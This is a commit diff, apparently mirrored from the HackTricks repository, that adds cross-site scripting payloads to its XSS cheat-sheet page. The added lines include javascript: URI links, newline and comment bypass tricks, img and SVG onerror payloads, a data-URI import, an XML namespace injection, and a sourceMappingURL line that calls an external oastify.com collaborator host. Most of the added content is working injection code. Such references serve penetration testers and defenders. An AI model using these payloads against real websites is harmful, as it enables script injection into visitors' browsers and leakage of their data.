mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-21 20:23:18 +00:00
GITBOOK-3804: No subject
This commit is contained in:
parent
f8a5c782d0
commit
595f9f77db
1 changed files with 55 additions and 7 deletions
|
@ -347,7 +347,9 @@ Note that **any kind of HTML encode is valid**:
|
|||
//HTML dec with zeros
|
||||
'-alert(1)-'
|
||||
|
||||
<a href="javascript:var a=''-alert(1)-''">
|
||||
<a href="javascript:var a=''-alert(1)-''">a</a>
|
||||
<a href="javascript:alert(2)">a</a>
|
||||
<a href="javascript:alert(3)">a</a>
|
||||
```
|
||||
|
||||
**Note that URL encode will also work:**
|
||||
|
@ -635,18 +637,47 @@ eval(8680439..toString(30))(983801..toString(36))
|
|||
```javascript
|
||||
//This is a 1 line comment
|
||||
/* This is a multiline comment*/
|
||||
#!This is a 1 line comment, but "#!" must to be at the beggining of the line
|
||||
-->This is a 1 line comment, but "-->" must to be at the beggining of the line
|
||||
<!--This is a 1line comment
|
||||
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
|
||||
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
|
||||
```
|
||||
|
||||
**JavaScript new lines (from** [**JavaScript new line**](./#javascript-new-lines) **trick)**
|
||||
|
||||
```javascript
|
||||
//Javascript interpret as new line these chars:
|
||||
String.fromCharCode(10) //0x0a
|
||||
String.fromCharCode(13) //0x0d
|
||||
String.fromCharCode(8232) //0xe2 0x80 0xa8
|
||||
String.fromCharCode(8233) //0xe2 0x80 0xa8
|
||||
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
|
||||
String.fromCharCode(13); alert('//\ralert(1)') //0x0d
|
||||
String.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8
|
||||
String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9
|
||||
```
|
||||
|
||||
**JavaScript whitespaces**
|
||||
|
||||
```javascript
|
||||
log=[];
|
||||
function funct(){}
|
||||
for(let i=0;i<=0x10ffff;i++){
|
||||
try{
|
||||
eval(`funct${String.fromCodePoint(i)}()`);
|
||||
log.push(i);
|
||||
}
|
||||
catch(e){}
|
||||
}
|
||||
console.log(log)
|
||||
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279
|
||||
|
||||
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
|
||||
<img/src/onerror=alert(1)>
|
||||
```
|
||||
|
||||
**Javascript inside a comment**
|
||||
|
||||
```javascript
|
||||
//If you can only inject inside a JS comment, you can still leak something
|
||||
//If the user opens DevTools request to the indicated sourceMappingURL will be send
|
||||
|
||||
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
|
||||
```
|
||||
|
||||
**JavaScript without parentheses**
|
||||
|
@ -739,6 +770,7 @@ setInterval('ale'+'rt(10)');
|
|||
Function('ale'+'rt(10)')``;
|
||||
[].constructor.constructor("alert(document.domain)")``
|
||||
[]["constructor"]["constructor"]`$${alert()}```
|
||||
import('data:text/javascript,alert(1)')
|
||||
|
||||
//General function executions
|
||||
`` //Can be use as parenthesis
|
||||
|
@ -982,6 +1014,18 @@ This behaviour was used in [**this writeup**](https://github.com/zwade/yaca/tree
|
|||
|
||||
In other browsers other **`Content-Types`** can be used to execute arbitrary JS, check: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||||
|
||||
### xml Content Type
|
||||
|
||||
If the page is returnin a text/xml content-type it's possible to indicate a namespace and execute arbitrary JS:
|
||||
|
||||
```xml
|
||||
<xml>
|
||||
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
|
||||
</xml>
|
||||
|
||||
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
|
||||
```
|
||||
|
||||
### Special Replacement Patterns
|
||||
|
||||
When something like **`"some {{template}} data".replace("{{template}}", <user_input>)`** is used. The attacker could use [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) to try to bypass some protections: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
|
||||
|
@ -1422,6 +1466,10 @@ alert("XSS");
|
|||
<svg><use href="//portswigger-labs.net/use_element/upload.php#x"/></svg>
|
||||
```
|
||||
|
||||
```xml
|
||||
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
|
||||
```
|
||||
|
||||
Find **more SVG payloads in** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
|
||||
## Misc JS Tricks & Relevant Info
|
||||
|
|
Loading…
Reference in a new issue